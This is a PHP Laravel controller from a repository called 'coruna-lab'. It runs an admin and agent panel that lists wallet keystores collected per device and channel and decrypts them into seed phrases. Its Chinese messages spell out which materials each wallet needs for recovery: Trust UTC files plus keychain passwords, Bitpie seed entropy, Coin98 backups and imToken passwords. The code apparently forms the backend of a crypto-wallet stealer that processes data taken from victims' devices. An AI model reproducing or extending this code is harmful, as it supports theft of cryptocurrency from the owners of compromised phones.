Files
coruna-lab/app/Http/Controllers/Admin/KeystoreController.php
T
2026-09-20 06:15:26 +08:00

339 lines
13 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsKeystoreDecrypt;
use App\Services\EthKeystore;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
class KeystoreController extends Controller
{
use PortalAware;
public function index()
{
$agents = $this->isAgentPortal()
? collect()
: User::query()->orderBy('username')->get(['id', 'username']);
$sources = WalletKeystore::query()
->where('source', '!=', '')
->distinct()
->orderBy('source')
->pluck('source');
return view('admin.keystores.index', [
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
]);
}
public function data(Request $request)
{
$q = $this->baseQuery($request);
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
$field = 'id';
}
$q->orderBy('wallet_keystores.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$cols = array_merge(WalletKeystore::listColumnsLight(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]);
Log::info('keystore.list.data.start', [
'page' => $page,
'limit' => $limit,
'mem' => memory_get_usage(true),
]);
// Two-step query to avoid MySQL "Out of sort memory" (HY001):
// LENGTH(raw_json) in the select list forces MySQL to read large
// blobs during the ORDER BY sort, overflowing the sort buffer.
// Step 1: get paginated IDs (no blob access).
// Step 2: fetch light columns for those IDs only.
$total = $q->toBase()->getCountForPagination();
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
$rows = count($ids) > 0
? WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->whereIn('wallet_keystores.id', $ids)
->select($cols)
->get()
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
->values()
: collect();
Log::info('keystore.list.data.page', [
'total' => $total,
'ids' => $rows->pluck('id')->all(),
'mem' => memory_get_usage(true),
]);
$portal = $this->portal();
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
return $this->rowPayload($row, $portal);
})->values();
Log::info('keystore.list.data.done', [
'count' => $data->count(),
'mem' => memory_get_usage(true),
'peak' => memory_get_peak_usage(true),
]);
return response()->json([
'code' => 0,
'msg' => '',
'count' => $total,
'data' => $data,
]);
}
public function items(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
Log::info('keystore.items.start', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
]);
$items = $keystore->listedItems();
Log::info('keystore.items.done', [
'id' => $keystore->id,
'raw_json_len' => $len,
'item_count' => count($items),
'mem' => memory_get_usage(true),
'peak' => memory_get_peak_usage(true),
]);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'items' => $items,
],
]);
}
/**
* Return the full keystore raw_json with sensitive fields masked,
* so the admin can inspect the plaintext structure (wallet names,
* addresses, timestamps, version info, etc.) without exposing
* encrypted blobs or private keys.
*/
public function detail(WalletKeystore $keystore)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
Log::info('keystore.detail.start', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
]);
$masked = $keystore->maskedDetail();
Log::info('keystore.detail.done', [
'id' => $keystore->id,
'raw_json_len' => $len,
'mem' => memory_get_usage(true),
'peak' => memory_get_peak_usage(true),
]);
return response()->json([
'code' => 0,
'msg' => '',
'data' => [
'id' => $keystore->id,
'source' => $keystore->sourceLabel(),
'decrypted' => (int) $keystore->decrypted,
'kind' => $keystore->kindLabel(),
'detail' => $masked,
],
]);
}
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$device = $keystore->device;
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
}
@set_time_limit(180);
@ini_set('max_execution_time', '180');
$before = WalletMnemonic::query()
->where('device_id', $device->id)
->pluck('mnemonic_hash')
->all();
$seen = array_fill_keys($before, true);
$adapter->reprocessKeystores($device);
$keystore->refresh();
$after = WalletMnemonic::query()
->where('device_id', $device->id)
->get(['id', 'source', 'mnemonic_hash']);
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
$addedCount = $added->count();
$counts = $decrypt->materialCounts($device->fresh('keystores'));
$msg = $addedCount > 0
? '已写入 '.$addedCount.' 条助记词'
: ((int) $keystore->decrypted === 1
? '没有新的助记词(该来源可能已解密)'
: $this->decryptMissMessage($counts));
return response()->json([
'code' => 0,
'msg' => $msg,
'data' => [
'id' => $keystore->id,
'decrypted' => (int) $keystore->decrypted,
'added' => $addedCount,
'mnemonic_total' => $after->count(),
'sources' => $added->pluck('source')->unique()->values()->all(),
'utc' => $counts['utc'],
'passwords' => $counts['passwords'],
'entropy' => $counts['entropy'],
'coin98' => $counts['coin98'] ?? 0,
],
]);
}
/**
* @return array<string, mixed>
*/
public function rowPayload(WalletKeystore $row, string $portal): array
{
$stats = $row->listStats();
return [
'id' => $row->id,
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
'source' => $row->sourceLabel(),
'decrypted' => (int) $row->decrypted,
'kind' => $stats['kind'],
'item_count' => $stats['item_count'],
'summary' => $stats['summary'],
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
}
/**
* @param array{utc: int, passwords: int, entropy: int} $counts
*/
private function decryptMissMessage(array $counts): string
{
$utc = (int) $counts['utc'];
$passwords = (int) $counts['passwords'];
$entropy = (int) $counts['entropy'];
$coin98 = (int) ($counts['coin98'] ?? 0);
if ($utc === 0 && $passwords > 0) {
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
}
if ($utc > 0 && $passwords === 0) {
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
}
if ($utc > 0 && $passwords > 0) {
if (! EthKeystore::scryptReady()) {
return 'UTC 和钥匙串密码都在,但服务器无法跑 scrypt(需要 python3,且 PHP 未禁用 proc_open)';
}
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配)';
}
if ($entropy > 0) {
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
}
if ($coin98 > 0) {
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
}
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
}
private function keystoreAllowed(WalletKeystore $keystore): bool
{
$allowed = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->where('wallet_keystores.id', $keystore->id);
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
return $allowed->exists();
}
private function baseQuery(Request $request): Builder
{
$q = WalletKeystore::query()
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
->select(array_merge(WalletKeystore::listColumns(), [
'devices.device_id as device_key',
'devices.channel_id as device_channel_id',
]));
AgentScope::applyDeviceChannelScope($q, $this->agent());
$channelId = trim((string) $request->query('channel_id', ''));
$deviceKey = trim((string) $request->query('device_key', ''));
$source = trim((string) $request->query('source', ''));
$decrypted = trim((string) $request->query('decrypted', ''));
if ($channelId !== '') {
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
if ($deviceKey !== '') {
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
}
if ($source !== '') {
if ($source === '未知') {
$q->where(function (Builder $inner) {
$inner->whereNull('wallet_keystores.source')
->orWhere('wallet_keystores.source', '');
});
} else {
$q->where('wallet_keystores.source', $source);
}
}
if ($decrypted === '0' || $decrypted === '1') {
$q->where('wallet_keystores.decrypted', (int) $decrypted);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter(
$q,
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
);
}
return $q;
}
}